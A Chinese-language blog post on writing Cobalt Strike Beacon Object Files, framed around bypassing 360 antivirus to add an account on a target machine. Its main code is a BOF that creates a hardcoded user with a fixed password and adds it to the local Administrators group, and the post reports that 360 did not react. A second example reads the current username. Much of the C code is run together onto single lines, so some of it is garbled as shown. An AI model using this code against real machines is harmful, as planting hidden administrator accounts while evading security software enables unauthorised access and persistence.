绕过360给目标机器添加账户
CS BOF是什么?
Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。
BOF 的占地面积较小。它们在 Beacon 进程内部运行,并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。
如何开发BOF?
下段代码是官方给出的代码:
下段代码是官方给出的代码:
#include <windows.h>
#include“beacon.h”
void go(char * args, int alen) {BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
}
这里的beacon.h头文件的下载地址如下:
https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/beacon.h
这里可以使用 Visual Studio 进行编译也可以使用MinGW进行编译。
VS编译如下:
cl.exe /c /GS- hello.c /Fo hello.obj
但是这里需要注意一个问题,这样编译的话可能会报错,不包括路径集等等。
这里需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考:
https://blog.csdn.net/weixin_41115751/article/details/89817123
在BOF中我们是可以通过GetProcAddress,LoadLibraryA,GetModuleHandle 来调用我们想要的windows API。
例如我们可以将添加用户的代码放到go函数中。
#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
#elseprintf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOFreturn FALSE;
}
#pragma endregiontypedef DWORD NET_API_STATUS;DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);#include <LM.h>#ifdef BOF
void go(char* buff, int len) {USER_INFO_1 UserInfo;DWORD dwLevel = 1;DWORD dwError = 0;UserInfo.usri1_name = (TCHAR*)L"test123"; // 账户 UserInfo.usri1_password = (TCHAR*)L"Test@#123"; // 密码UserInfo.usri1_priv = USER_PRIV_USER;UserInfo.usri1_home_dir = NULL;UserInfo.usri1_comment = NULL;UserInfo.usri1_flags = UF_SCRIPT;UserInfo.usri1_script_path = NULL;NET_API_STATUS nStatus;nStatus = NETAPI32$NetUserAdd(NULL,dwLevel,(LPBYTE)&UserInfo,&dwError);if (nStatus == NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);}LOCALGROUP_MEMBERS_INFO_3 account;account.lgrmi3_domainandname = UserInfo.usri1_name;NET_API_STATUS aStatus;aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);if (aStatus == NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);}}
#elsevoid main(int argc, char* argv[]) {}#endif
如下图使用inline-execute调用即可。
如下图直接使用net user去添加账户:
这里卡住了,来看下win10机器显示。
可以发现是不行的,我们用BOF执行。
可以发现已经添加成功了,360没有任何反应。
态函数
除了直接调用windows API之外,我们也可以使用动态函数来进行解析。
动态函数解析就是将Win32 API的声明和调用变成如下格式:
NETAPI32$NetUserAdd
左边是DLL右边是函数名
环境准备
操作系统:windows10
编译器:VS
这里我们使用的是BOF开发模板是:
https://github.com/securifybv/Visual-Studio-BOF-template
环境搭建
首先从github上下载下来之后,然后放到VS的模板目录。
如下图:
放到这里之后打开VS,可以看到已经有这个模板了。
点击创建。
但是这里创建出来的文件是Source.cpp,也就是C++的文件。
这里我们将这个文件复制出来然后改成C文件。
然后点击生成->批生成
勾选前两个即可。
然后生成即可。
如上图就生成成功了。
入口
其实go函数就是BOF的入口,当你在CS上执行inline-execute命令的时候,就会调用go函数。
所以我们可以将win32相关API写到go函数中。
如下例子获取当前用户名:
#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#elseprintf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOFreturn FALSE;
}
#pragma endregionDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);#include <LM.h>#ifdef BOF
void go(char* buff, int len) {char username[1024];DWORD usernameLength = sizeof username;ADVAPI32$GetUserNameA(username, &usernameLength);BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
}
#elsevoid main(int argc, char* argv[]) {}#endif
相关文章:

绕过360给目标机器添加账户
CS BOF是什么? Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。 BOF 的占地面积较小。它们在 Beacon 进程内部运…...

C/C++ 题目:给定字符串s1和s2,判断s1是否是s2的子序列
判断子序列一个字符串是否是另一个字符串的子序列 解释:字符串的一个子序列是原始字符串删除一些(也可以不删除)字符,不改变剩余字符相对位置形成的新字符串。 如,"ace"是"abcde"的一个子序…...

Nginx的stream配置
一、stream模块概要。 stream模块一般用于tcp/UDP数据流的代理和负载均衡,可以通过stream模块代理转发TCP消息。 ngx_stream_core_module模块由1.9.0版提供。 默认情况下,没有构建此模块。 -必须使用-with stream配置参数启用。 也就是说,必…...

ubuntu 20.04 server 安装 zabbix
ubuntu 20.04 server 安装 zabbix 参考文档 zabbix没用过,用过prometheus, 因为现在很多应用都支持直接接入prometheus监控, 而且大部分语言都都有sdk支持, 可以直接接入自己的业务数据监控。 https://www.zabbix.com/cn/downlo…...

hive映射es表任务失败,无错误日志一直报Task Transitioned from NEW to SCHEDULED
一、背景 要利用gpt产生的存放在es种的日志表做统计分析,通过hive建es的映射表,将es的数据拉到hive里面。 在最初的时候同事写的是全量拉取,某一天突然任务报错,但是没有错误日志一直报:Task Transitioned from NEW t…...

手眼标定 - 最终精度和误差优化心得
手眼标定 - 标定误差优化项 一、TCP标定误差优化1、注意标定针摆放范围2、TCP标定时的点次态与工作姿态尽可能保持相近 二、深度相机对齐矩阵误差1、手动计算对齐矩阵 三、手眼标定拍照姿态1、TCP标定姿态优先2、水平放置棋盘格优先 为减少最终手眼标定的误差,可做或…...

pytorch一致数据增强
分割任务对 image 做(某些)transform 时,要对 label(segmentation mask)也做对应的 transform,如 Resize、RandomRotation 等。如果对 image、label 分别用 transform 处理一遍,则涉及随机操作的…...

MapReduce
1. MapReduce是什么?请简要说明它的工作原理。 MapReduce是一种编程模型,主要用于处理大规模数据集的并行运算,特别是非结构化数据。这个模型的核心思想是将大数据处理任务分解为两个主要步骤:Map和Reduce。用户只需实现map()和r…...

Spring Boot 快速入门
Spring Boot 快速入门 什么是Spring Boot Spring Boot是一个用于简化Spring应用开发的框架,它基于Spring框架,提供了自动配置、快速开发等特性,使得开发者可以更加便捷地构建独立的、生产级别的Spring应用。 开始使用Spring Boot 步骤一&a…...

什么是神经网络的非线性
大家好啊,我是董董灿。 最近在写《计算机视觉入门与调优》(右键,在新窗口中打开链接)的小册,其中一部分说到激活函数的时候,谈到了神经网络的非线性问题。 今天就一起来看看,为什么神经网络需…...

前端知识(十四)——浅谈用户体验测试的主要功能
用户体验(User Experience,简称UX)在现代软件和产品开发中变得愈发重要。为了确保产品能够满足用户期望,提高用户满意度,用户体验测试成为不可或缺的环节。本文将详细探讨用户体验测试的主要功能,以及它在产品开发过程中的重要性 …...

解决前端跨域问题,后端解决方法
Spring CloudVue前后端分离项目报错:Network Error;net::ERR_FAILED(请求跨越)-CSDN博客记录自用...

【网络奇缘系列】计算机网络|数据通信方式|数据传输方式
🌈个人主页: Aileen_0v0🔥系列专栏: 一见倾心,再见倾城 --- 计算机网络~💫个人格言:"没有罗马,那就自己创造罗马~" 这篇文章是关于计算机网络中数据通信的基础知识点, 从模型,术语再到数据通信方式&#…...

数组 注意事项
1.一维数组的初始化 int a[5]{1,2,3,4,5}; 合法 int a[5]{1,2,3}; 合法 int a[]{1,2,3,4,5}; 合法,后面决定前面的大小 int a[5]{1,2,3,4,5,6}; 不合法! 2.一维数组的定义 int a[5] 合法 int a[11] 合法 int a[1/24] 合法 int x5,a[x…...

day11 滑动窗口中的最大值
class MyQueue { //单调队列(从大到小)public:deque<int> que; // 使用deque来实现单调队列// 每次弹出的时候,比较当前要弹出的数值是否等于队列出口元素的数值,如果相等则弹出。// 同时pop之前判断队列当前是否为空。void…...

viple模拟器使用(五):Web 2D模拟器中实现两距离局部最优迷宫算法
关于两距离局部最优迷宫算法的原理本文不再赘述,详情请参考:viple模拟器使用(四),归纳总结为: 前方有路,则直行; 前方无路,则右转90度,标记右转完成ÿ…...

每日一道算法题 3(2023-12-11)
题目描述: VLAN是一种对局域网设备进行逻辑划分的技术,为了标识不同的VLAN,引入VLAN ID(1-4094之间的整数)的概念。 定义一个VLAN ID的资源池(下称VLAN资源池),资源池中连续的VLAN用开始VLAN-结束VLAN表示,不连续的用单…...

【Android】查看keystore的公钥和私钥
前言: 查看前准备好.keystore文件,安装并配置openssl、keytool。文件路径中不要有中文。 一、查看keystore的公钥: 1.从keystore中获取MD5证书 keytool -list -v -keystore gamekeyold.keystore 2.导出公钥文件 keytool -export -alias …...

ChatGPT的常识
什么是ChatGPT? ChatGPT是一个基于GPT模型的聊天机器人,GPT即“Generative Pre-training Transformer”,是一种预训练的语言模型。ChatGPT使用GPT-2和GPT-3两种模型来生成自然语言响应,从而与人类进行真实的对话。 ChatGPT的设计…...

Spring Boot中的事务是如何实现的?懂吗?
SpringBoot中的事务管理,用得好,能确保数据的一致性和完整性;用得不好,可能会给性能带来不小的影响哦。 基本使用 在SpringBoot中,事务的使用非常简洁。首先,得感谢Spring框架提供的Transactional注解&am…...

应用安全:JAVA反序列化漏洞之殇
应用安全:JAVA反序列化漏洞之殇 概述 序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 wri…...

基于以太坊的智能合约开发Solidity(函数继承篇)
参考教程:【实战篇】1、函数重载_哔哩哔哩_bilibili 1、函数重载: pragma solidity ^0.5.17;contract overLoadTest {//不带参数function test() public{}//带一个参数function test(address account) public{}//参数类型不同,虽然uint160可…...

【论文极速读】LVM,视觉大模型的GPT时刻?
【论文极速读】LVM,视觉大模型的GPT时刻? FesianXu 20231210 at Baidu Search Team 前言 这一周,LVM在arxiv上刚挂出不久,就被众多自媒体宣传为『视觉大模型的GPT时刻』,笔者抱着强烈的好奇心,在繁忙工作之…...

TS基础语法
前言: 因为在写前端的时候,发现很多UI组件的语法都已经开始使用TS语法,不学习TS根本看不到懂,所以简单的学一下TS语法。为了看UI组件的简单代码,不至于一脸懵。 一、安装node 对于windows来讲,node版本高…...

【基于NLP的微博情感分析:从数据爬取到情感洞察】
基于NLP的微博情感分析:从数据爬取到情感洞察 背景数据集技术选型功能实现创新点 今天我将分享一个基于NLP的微博情感分析项目,通过Python技术、NLP模型和Flask框架,对微博数据进行清洗、分词、可视化,并利用NLP和贝叶斯进行情感分…...

Ubuntu 18.04使用Qemu和GDB搭建运行内核的环境
安装busybox 参考博客: 使用GDBQEMU调试Linux内核环境搭建 一文教你如何使用GDBQemu调试Linux内核 ubuntu22.04搭建qemu环境测试内核 交叉编译busybox 编译busybox出现Library m is needed, can’t exclude it (yet)的解释 S3C2440 制作最新busybox文件系统 https:…...

GEE——利用Landsat系列数据集进行1984-2023EVI指数趋势分析
简介: 利用Landsat系列数据集进行1984-2023EVI指数趋势分析其主要目的是进行长时序的分析,这里我们选用EVI指数,然后进行了4个月的分析,查看其最后的线性趋势以及分布状况。 EVI指数: EVI指数(Enhanced Vegetation Index,增强型植被指数)是一种反映植被生长状态的遥…...

JAVA安全之Spring参数绑定漏洞CVE-2022-22965
前言 在介绍这个漏洞前,介绍下在spring下的参数绑定 在Spring框架中,参数绑定是一种常见的操作,用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例,展示了如何在Spring中进行参数绑定: 示例1&am…...

辨析旅行商问题(TSP)与车辆路径问题(VRP)
目录 前言旅行商问题 (TSP)问题介绍数学模型符号定义问题输入约束条件目标函数问题输出 解的空间解空间大小计算解释 车辆路径问题 (VRP)问题介绍TSP到VRP的过渡数学模型符号定义问题输入约束条件优化目标问题输出 解空间特殊情况一般情况 TSP 与 VRP 对比 前言 计划是通过本文…...

2024年JAVA招聘行情如何?
大家都在说Java求职不好找,是真的吗?我们来看看数据。 数据支持:根据TIOBE 5月份的编程语言排行榜,Java仍然是前三名之一。这意味着,Java在开发领域仍然占据重要地位。 而在中国的IT市场中,Java仍然是主要…...